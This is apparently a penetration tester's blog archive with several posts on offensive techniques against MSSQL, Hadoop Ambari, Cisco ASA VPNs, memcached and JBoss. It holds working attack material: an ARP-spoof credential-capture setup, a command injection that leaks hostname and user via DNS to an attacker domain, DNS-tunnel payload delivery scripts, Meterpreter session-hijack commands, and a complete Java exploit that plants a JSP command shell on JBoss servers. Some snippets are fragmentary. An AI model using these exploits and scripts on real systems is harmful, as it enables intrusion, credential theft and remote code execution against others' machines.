Tuesday, December 16, 2014

MSSQL MITM FTW - Ettercap and Responder to Intercept (plaintext!) MSSQL Creds

A fun exercise in confidentiality vs authentication, and why "encrypted" doesn't always mean secure.

Imagine the (common) scenario where some sort of service needs to interact with an MSSQL database. The client application opens a "secure" connection with MSSQL, sends over the username and password to authenticate, runs some queries, does its thing, wash, rinse repeat.

All the communication is encrypted so we're good right...? It all depends how you establish that "secure" connection between the client and server. It turns out, by default, MSSQL and the clients that connect to it use and trust self-signed certificates when doing SQL server authentication.

Once you realize this, the dominos start to fall. What this means is that if you're on the same network as a SQL server and you can conduct a man-in-the-middle attack, you can actually trick any clients that connect to that server (using SQL server authentication) to send you their credentials!

On a recent test, we ran into this exact scenario. Not much going on on the network except some MSSQL traffic so I decided to run with a hunch and see what would happen.

The first step was to identify the SQL server and setup Ettercap to ARP spoof traffic between the SQL server and the gateway. Easy enough - now the SQL server traffic is flowing through our machine.

Next we run Responder.py and have it enable it's SQL Server authentication listener. This spins up a "fake" SQL server that will log any credentials sent to it.

Finally - a simple IPTables rule to redirect traffic bound for the real DBMS to the listener running on our machine "iptables -t nat -A PREROUTING -p tcp --dport 1433 -j REDIRECT --to-ports 1433". This will break things. Any connections to the DBMS that are currently open will probably break, the client will try to re-authentication, we'll catch the creds.

SQL Server can then be used to pivot into the network/domain with xp_cmdshell, extract sensitive data etc...

The mitigation here is to use a strong password and Windows or Domain authentication for SQL server.

Thursday, December 11, 2014

Raining Shells - Ambari "0-day"

Something that we're starting to see occasionally on penetration tests are Hadoop clusters and all of the associated technologies that go along with them.

The old security model for these things used to be "Trust your network" - ie: Lock them in a room, somewhere behind a firewall, and cross your fingers. Nowadays however bleeding edge security features such as usernames and passwords have been implemented on many of the administrative interfaces for these services *gasp*.

On a recent penetration juken (http://jstnkndy.github.io/) and I ran into a semi-locked down Hadoop cluster. The HDFS file browsing web interfaces were still enabled and didn't require authentication (eg: http://<namenode host>:1022/browseDirectory.jsp) but we wanted shells, and lots of them.

So where to start? A quick portscan and httpscreenshot run showed a number of management and monitoring tools running. After some initial stumbling around and default password checking on the web interfaces we'd come up dry. In a short moment of brialliance, Juken decided to try the default DBMS credentials on the Postgresql database server for the Ambari administrative tool - they worked.

Ambari is a provisioning tool for Hadoop clusters. With a few clicks, you can instruct it to install different packages like YARN, Hadoop, HDFS, etc.. on the various nodes that it manages. Unfortunately there is no official "feature" to send yourself a bash shell on the remote machines.

With credentials to the Postgres database, it was trivial to create a new admin user in Ambari with the password of "admin". They hash with sha256 bcrypt and a random salt... the easiest way is to just add a new user or modify the existing admins password with the following:

update ambari.users set
where user_name='admin'

Unfortunately, Ambari needs to be restarted for new users or changed passwords to take effect... so now you must wait.

Eventually the change was applied and we were in. After some time and much frustration with technology we aren't exactly familiar with, we found the undocumented "shell" feature - it's always there somewhere, you just have to look hard enough.

It turns out that for the HDFS service (and probably all the others) you can inject commands into the java heapsize parameter. The Javascript on the front-end of the app doesn't like it - but if you do it through BURP, the changes will be applied/saved. Restart the service and boom goes the dynamite - your command gets executed on every namenode/datanode in the cluster.

In the screenshot, we did `ping \`hostname\`.\`whoami\`.somedomainweown.com` - we own the authoritative nameserver for that domain and listen on port 53. Watch the DNS requests for things like "server1.root.somedomain.com" roll in

Monday, October 27, 2014

Cisco ASA SSL VPN Backdoor PoC (CVE-2014-3393)

A coworker and I recently had the opportunity to work with a new vulnerability released at Ruxcon just earlier this month and while we didn't get exactly what we wanted, it was quite interesting.

The conference presentation was titled "Breaking Bricks and Plumbing Pipes: Cisco ASA a Super Mario Adventure" https://ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf and was EXTREMELY interesting. The researcher Alec Stuart-Muirk managed the "jailbreak" the ASA and from there do some cool things with it, including a code audit of the publicly facing SSL VPN interface.

One thing that come out during the code audit was that the authorization check on some of the administrative interface pages can be bypassed by setting the cookie value to any valid file on the file system. I'm not going to get into too much detail because the slides cover it well, but basically this allows you to make modifications to the SSL VPN page WITHOUT AUTHENTICATION. This vulnerability is CVE-2014-3393 and affected versions can be found at http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3393. He also released a way to pull the version from a remote ASA - it's as simple as hitting the following URL: https://<IP ADDRESS>/CSCOSSLC/config-auth

As a penetration tester this is very interesting because it allows us to backdoor the SSL VPN, and easily intercept plaintext credentials. Even those using 2 factor authentication wouldn't be safe from such an attack as the attacker could immediately use the intercepted token to login.

We spotted the SSL VPN login page in the wild recently and decided to take a crack at this vulnerability. The first step was to get a test setup running - since none of us own an ASA we "acquired" a virtual one. There might be a VMWare image here with such a thing running a vulnerable version.

After that, we simply proxied and intercepted the target requests. Interestingly, we had to make some modifications to the PoC posted in the Ruxcon presentation to get it to work (remove the User-Agent header from the cedsave request), indicating minor version differences may require further testing to get running. After making the appropriate modifications to the target requests, as detailed in the Ruxcon presentation, we were successfully able to backdoor our SSL VPN without authentication! Really cool stuff!

For those who would like to try at home, I've uploaded a BURP state https://github.com/breenmachine/various with the required requests in the "Repeater" tab to save you from typing them. This was tested on version ASA 9.2(1) and probably will require modification for other versions. Simply configure your ASA, point BURP at it, and give it a shot.

If anyone gets this working on other versions of ASA, I'd like to hear about the necessary modifications.

For those without a copy of BURP Pro, these are the requests you'll need:

Tuesday, September 16, 2014

Transfer File Over DNS in Windows (with 13 lines of PowerShell)

In a previous post (http://breenmachine.blogspot.ca/2014/03/downloading-files-through-recursive-dns.html) I mentioned that it is possible to download files through recursive DNS queries with Bash or Powershell.

This was done through a client/server setup where the server hosts a particular file and the clients were to be written in very short scripts that could be feasibly re-created by hand on-demand to deliver binary payloads to machines.

There are a number of feasible scenarios where this is useful. For example, if you have physical access to a machine that is on a locked down network segment with restricted egress traffic. Or the example that came up in a recent penetration test was that we had command execution on a remote database server through SQLi, however no traffic was allowed egress to to the internet from the database server so we couldn't directly establish a C&C channel. Using this script, combined with CobaltStrike Beacon over DNS we were able to get a fully functional Meterpreter shell tunneling over DNS (and it was surprisingly fast).

In my previous post, I released the code for a Bash client and the Python server. I'm now releasing code for the (probably more useful to most people) Powershell client script, and it only ended up being 13 lines!

Can be found on github (https://github.com/breenmachine/dnsftp) - or below. Usage is simply:

On the server hosting the file:
./server.py -f /path/to/file

On the target client to deliver the binary:
powershell client.ps1 -server where.your.server.resolves.com

param ([string]$server)
for($i=0;$i -ge 0;$i++){
$command='cmd.exe /C nslookup -type=TXT '+$i+'.$server'
$a=Invoke-Expression -Command:$command
if($error.Count -ge 1){$i=-10}

There are a few caveats here. The error handling isn't great. If you see that the client calls it quits before it fetches all of the chunks of your payload - run it again. It means the DNS server didn't get a response from your server in time. You may have to run the client a few times, each time it will pull TXT records from its cache up to the one where it made an error, eventually getting your whole file. To optimize this for larger payloads, some simple error handling could be added, but I wanted to keep the client script pretty bare-bones.

Thursday, August 21, 2014

BlackHat Talk and Railo Shoutout

Haven't really talked about it much here but recently finished up some research and my BlackHat USA 2014 presentation titled "Mobile Device Mismanagement" - http://www.slideshare.net/breenmachine/mobile-device-mismanagement.

Unfortunately we couldn't release much technical detail which isn't my normal style - some vendors have been quite slow to patch and some of the issues are very serious (i.e. pre-authentication RCE on a system that appears to be storing everyone's domain credentials in plaintext).

Overall the MDM stuff has been pretty interesting. The attack vectors are very realistic because these are systems that can not be firewalled off from the Internet, yet they expose some pretty sensitive functionality.

Also a shout out and reference to some work I've done with drone on vulnerabilities and some exploits we've whipped up for the Railo framework (an opensource implementation of ColdFusion).

It's a bit of a mess, actually surprisingly bad when it comes to security. Drone's done a good job with the details so I'm just going to leave this here:


Look forward to part 3 - it's going to be good.

Monday, July 14, 2014

Dumping Data from Memcached Servers

Just a quick update from a recent test. Will probably have some more interesting stuff coming soon but none is ready to go public quite yet.

Memcached servers provide a dynamic, distributed memory object caching system to improve application performance. The security model for Memcache is basically "trust your network", and unfortunately most networks can't be trusted.

You'll find the service listening on port 11211 by default. On a recent test we discovered a memcached server and after some research into extracting the data from it, came up empty. In response, I've developed a python script to dump data from memcached servers:


This service is interesting because you not only get to read the potentially sensitive data in the cache, but it is also trivial to modify values already in the cache. This can be done simply by accessing the "memcached" server over telnet and using the "set" command as documented here:


One interesting attack vector here would be stored XSS in a web application, or potentially SQL injection if the application is caching SQL queries (which some appear to do).

Thursday, March 20, 2014

Downloading Files Through Recursive DNS With Bash (Or PowerShell)

I often run into networks with extremely restricted outbound firewall rules. Usually outbound traffic is whitelisted to a small number of hosts. The scenario here is that you've somehow gained access to a machine on such a network and you need a way to transfer tools/data to this machine.

In these scenarios where you've got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you're in luck. I find this is almost always the case.

For those who may be unfamiliar with this technique the scenario looks something like this:

Target <---> Internal DNS Server <-----> Registrar Nameserver <------> Attackers Remote Machine

There are a number of existing tools to do this (dnscat, iodine...) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!

So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).

The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:

bm@mybox:~/Code/dnsftp$ sudo ./server.py -f ../nbtool/dnscat
DEBUG:root:[+] Bound to UDP port 53.
DEBUG:root:[+] Waiting for request...

bm@mybox:~/Code/dnsftp$ dig +short @localhost 0.dns.testdomain.com

bm@mybox:~/Code/dnsftp$ dig +short @localhost 1.dns.testdomain.com

So we have a server spitting out chunks of a base64 encoded binary in response to sequential TXT record requests. A simple client written in bash can automate the process of pulling and re-assembling the file:

error=';; connection timed out; no servers could be reached'
echo ''> output.b64
while :
  RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
  if [ "$RESP" = "$error" ];
    echo "Timeout - done"
  echo -ne $RESP >> output.b64
  echo $RESP
cat output.b64 | base64 -d > output

Notice in the above script we don't use "dig @localhost" anymore - the request goes through some DNS servers on the Internet and eventually makes it to our "server.py" file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.

Sample Usage:

  • Configure your server where you will run server.py to be the authoritative nameserver for a  subdomain (e.g: dns.testdomain.com). Do this with the registrar where you've registered testdomain.com.
  • On the server, run sudo ./server.py -f someFile
  • On the client, run ./client.sh dns.testdomain.com
  • At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.
To do:
  • This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.

Code at

  • https://github.com/breenmachine/dnsftp

Friday, February 21, 2014

Hijacking A Particular User's GUI Sessions With Meterpreter/VNC

Just a quick post to document a cool technique applied on a recent penetration test, nothing new or fancy, just something I hadn't done or thought to try before that came out of necessity.

The situation: You have SYSTEM access to a server that a number of users are remotely logged into. You want to see what a particular user is up to on that box, or you just want to get a GUI but for some reason don't have access to RDP. In our case, the Meterpreter VNC payloads were not working as desired.

The solution: Pretty simple:

Download UltraVNC Single Click server: http://www.uvnc.com/downloads/single-click/82-single-click-downloads.html

This VNC server can be launched invisibly from the command line. Launch it on a local test VM first and configure as necessary. After the first launch, an UltraVNC.ini file will be created with your settings. Test locally then upload the settings file and executable to the target:

meterpreter> cd C:\\Temp
meterpreter> upload winvnc.exe .
meterpreter> upload UltraVNC.ini .

List processes on the target:

meterpreter> ps

Pick a PID being run by the target user in a program with a GUI. Browser processes are a good choice:

meterpreter> migrate <PID>

Now just run the VNC server:
meterpreter> execute -f winvnc.exe

Should now be able to connect to the target machine on the VNC server port, you'll be hijacking the target users graphical session. If you just want to see what they're up to, run VNC in view only mode. In our particular situation, this was extremely useful.

Wednesday, February 19, 2014

JBOSS JMXInvokerServlet Update

A few months ago I posted some exploit code that abuses unauthenticated access to the JBOSS JMXInvokerServlet (http://breenmachine.blogspot.com/2013/09/jboss-jmxinvokerservlet-exploit.html).

For review, JBOSS exposes by default an HTTP interface at http://<JBOSS>:8080/invoker/JMXInvokerServlet. This interface works with raw binary Java objects (serialized). It is the backend for another interface that is disabled by default. By sending it a specially crafted object, you can basically use this interface to invoke remote procedures that are part of JBOSS.

There were a few problems with my previous method for calling this interface:

  • A 'magic number' called the version hash is required. I didn't really know where it came from and didn't need to at the time of writing it.
  • The method used to exploit the JMXInvokerServlet wont work with JBOSS 5.x+. In these later versions of JBOSS, a bug (or security feature?) was introduced that does not allow deployment of remote objects. In the previous exploit, I relied on this feature to pull down a remote WAR file from the attacker's web server and deploy it.

What follows is a description and the code used to get past these issues.

Those who have attempted to use the code from the previous post on JBOSS 5.x+ would likely have encountered an error like:
  • java.io.IOException: No context factory for at org.jboss.virtual.VFS.getVFS(VFS.java:196) at org.jboss.virtual.VFS.getRoot(VFS.java:212) at 
This is because in JBOSS 5.x, the "http" protocol is not recognized as valid for deployment by "VFS", the URL in this case must be a local path for it to work - bummer. After some research, it doesn't seem that the MainDeployer - a component of JBOSS that can be called to deploy objects - can be used in these later versions to deploy files hosted remotely. A different method must be used.

Enter the JBOSS "DeploymentFileRepository", another service that is remotely invocable through the JMXInvokerServlet. I was informed of this possibility of using this by Drone who is working on a new application server exploit tool "clusterd" (https://github.com/hatRiot/clusterd), I hope we can implement these results into this tool. The DeploymentFileRepository allows for the upload of JSP code to a fixed location on the server... sounds interesting.

In order to test this procedure, "twiddle" was used. Twiddle is a tool that comes with JBOSS and allows you to invoke remote procedures from the command line. The problem with using twiddle for our purposes is it goes "through the front door" so to speak. The following command will use the DeploymentFileRepository to create a JSP file on my test server at It specifies the DeploymentFileRepository as the target, invokes that objects "store" method, and the remainder are the parameters for the "store" method:
  • ./twiddle.sh -s localhost invoke "jboss.admin:service=DeploymentFileRepository" store xxxyyy.war xxxyyy .jsp ThisIsATest  True
This successfully deploys a file called xxxyyy.jsp to our JBOSS instance! Unfortunately as mentioned before, twiddle goes "through the front door", so it wont hit the open JMXInvokerServlet directly. To find out what's going on here, I ran WireShark and captured the network traffic passing over the loopback interface. One of the TCP streams contained the following (note the "MarshalledInvocation" in the center):

If you'll recall from last time, a "MarshalledInvocation" is the object type that the JMXInvokerServlet requires! 

I manually chopped the MarshalledInvocation out of the TCP dump, but have written a utility to do it automagically, incase anyone wants to use the same technique in the future to reverse engineer another deployer (something different than the MainDeployer or DeploymentFileRepository). The code follows, yes it's hacky and ugly:

*Parameter Strings to Modify: 
payloadSaveLocation->location to save the serialized MarshalledInvocation
tcpDumpLocation->file containing the TCP dump, I extract a stream from WireShark

import java.io.*;
import org.jboss.invocation.MarshalledInvocation;

public class ReadMarshalledInvocation {

public static MarshalledInvocation tryRead(InputStream stream) throws Exception{
MarshalledInvocation ret = null;
while(ret == null && stream.available() > 3){
ObjectInput input = new ObjectInputStream (stream);
for (int i=0;i<34;i++){
Object test = input.readObject();
if(test.getClass().toString().equals("class org.jboss.invocation.MarshalledInvocation")){
MarshalledInvocation inv = (MarshalledInvocation)test;
Object[] invArgs = inv.getArguments();
if(invArgs.length < 2 || invArgs[1] == null){
System.out.println("Got the wrong MarshalledInvocation, no arguments - trying to find another one");
System.out.println("Found a MarshalledInvocation with arguments!");
return inv;
catch(Exception e){
return ret;
public static void main(String[] args) throws Exception {
//Paramters to change:
//payloadSaveLocation is where you want to dump the extracted MarshalledInvocation
//tcpDumpLocation is the file with the tcp dump
String payloadSaveLocation = "/home/me/Desktop/invocation.obj";
String tcpDumpLocation = "/home/me/Desktop/RawTCPStreamDumpWithInvokation.obj";
InputStream file = new FileInputStream(tcpDumpLocation);
MarshalledInvocation mInv = tryRead(file);
//Dump the invocation to disk
       FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
       ObjectOutputStream out = new ObjectOutputStream(fileOut);
       System.out.println("MarshalledInvokation saved in "+ payloadSaveLocation);
//Print out some basics about the loaded MarshalledInvokation
String objNameType = mInv.getObjectName().getClass().toString();
Integer objName = (Integer)mInv.getObjectName();
Object[] mInvArgs = mInv.getArguments();
for(int i=0;i<mInvArgs.length;i++){
if(mInvArgs[i] != null){
Object[] argObj = (Object[])mInvArgs[i];
for(int j=0;j<argObj.length;j++){
catch (Exception e){

So now we've got our hands on a MarshalledInvocation that is associated with the DeploymentFileRepository. Along with serializing and saving the MarshalledInvocation to disk, the code reads the object fields and prints the following, which we will analyze in a minute:

class [Ljava.rmi.server.ObjID;
Got the wrong MarshalledInvocation, no arguments - trying to find another one
Got the wrong MarshalledInvocation, no arguments - trying to find another one
Found a MarshalledInvocation with arguments!
MarshalledInvokation saved in /home/me/Desktop/invocation.obj
class java.lang.Integer:-483630874
class javax.management.ObjectName
class java.lang.String
class [Ljava.lang.Object;
class java.lang.String
class java.lang.String
class java.lang.String
class java.lang.String
<%!String message = "Hello, World. From JSP test page Tomcat is running.";%>
class java.lang.Boolean
class [Ljava.lang.String;
class java.lang.String
class java.lang.String
class java.lang.String
class java.lang.String
class java.lang.String

The green highlighted section above is the "hash" referred to in the previous post. It is pulled out by calling the "getObjectName" method.

The orange highlighted section is is the array of paramters passed to the "store" method of the "DeploymentFileRepository".

This is everything we need to recreate the MarshalledInvokation dynamically in code and send it directly to the JMXInvokerServlet. Those who know anything about Java probably think I'm an idiot at this point, why did I reverse engineer the object from a TCP dump?! The Javadoc for DeploymentFileRepository, while a little vague on the parameter format has enough information to do all of this.... I did this initially and was totally stuck on why it wasn't working. It was because I used "java.lang.Boolean" as the object type for the final parameter when it should have been primitive "boolean". JBOSS blew up and provided no useful debugging info, so I had to go through all of the above BS to find my mistake :).

The exploit code is as follows - mostly the same as last time:

*Parameter Strings to Modify:
jmxUrl->URL for the JMXInvokerServlet
*Optional Parameter Strings: 
hash->Might have to change this for versions of JBOSS, find it by dumping the MarshalledInvocation
jspShell->JSP to upload. The one included is a simple shell that runs commands passed in the "cmd" URL parameter.
others-> Just various filenames and stuff, self explanatory.

import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;

public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = -483630874;
String jmxUrl = "";
String shellFileName = "jspshell";
String shellFileExtension=".jsp";
String warFileName = "xxxyyy";
String warFileExtension = ".war";
String payloadSaveLocation = "testPayload.out";
String jspShell = "<%@ page import=\"java.util.*,java.io.*\"%><%if (request.getParameter(\"cmd\") != null) {out.println(\"Command: \" +request.getParameter(\"cmd\") + \"\");Process p =Runtime.getRuntime().exec(request.getParameter(\"cmd\"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%>";
MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName("jboss.admin:service=DeploymentFileRepository");
myObj[1] = new String("store");
myObj[2] = new Object[]{warFileName+warFileExtension,shellFileName,shellFileExtension,jspShell,true};
myObj[3] = new String[]{"java.lang.String","java.lang.String","java.lang.String","java.lang.String","boolean"};
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        System.out.printf("Payload saved in "+ payloadSaveLocation);
/*InputStream file = new FileInputStream(payloadSaveLocation);
InputStream buffer = new BufferedInputStream(file);
ObjectInput input = new ObjectInputStream (buffer);
Object read = input.readObject();
MarshalledInvocation payload = (MarshalledInvocation)read;*/
        String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        conn.setRequestMethod( "POST" );
        conn.setRequestProperty( "Content-Type", type );
        conn.setRequestProperty( "Content-Length","10000" );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){
        System.out.println("\nGot MarshalledValue response");
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){
        System.out.println("Invocation Exception Received");
        InvocationException ie = (InvocationException)mvContent;
        System.out.println("Success! Look for the deployed WAR at /"+warFileName+"/"+shellFileName+shellFileExtension);

**Supporting class for JBOSSExploit.java
import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

public class TrustModifier {
   private static final TrustingHostnameVerifier 
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will 
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn) 
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);

   static synchronized SSLSocketFactory 
            prepFactory(HttpsURLConnection httpsConnection) 
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance("TLS");
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      return factory;
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }      


For those who have made it this far, to Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp .:jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp .:jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/xxxyyy/jspshell.jsp

Hopefully in the future we can get this exploit integrated into a toolkit like clusterd.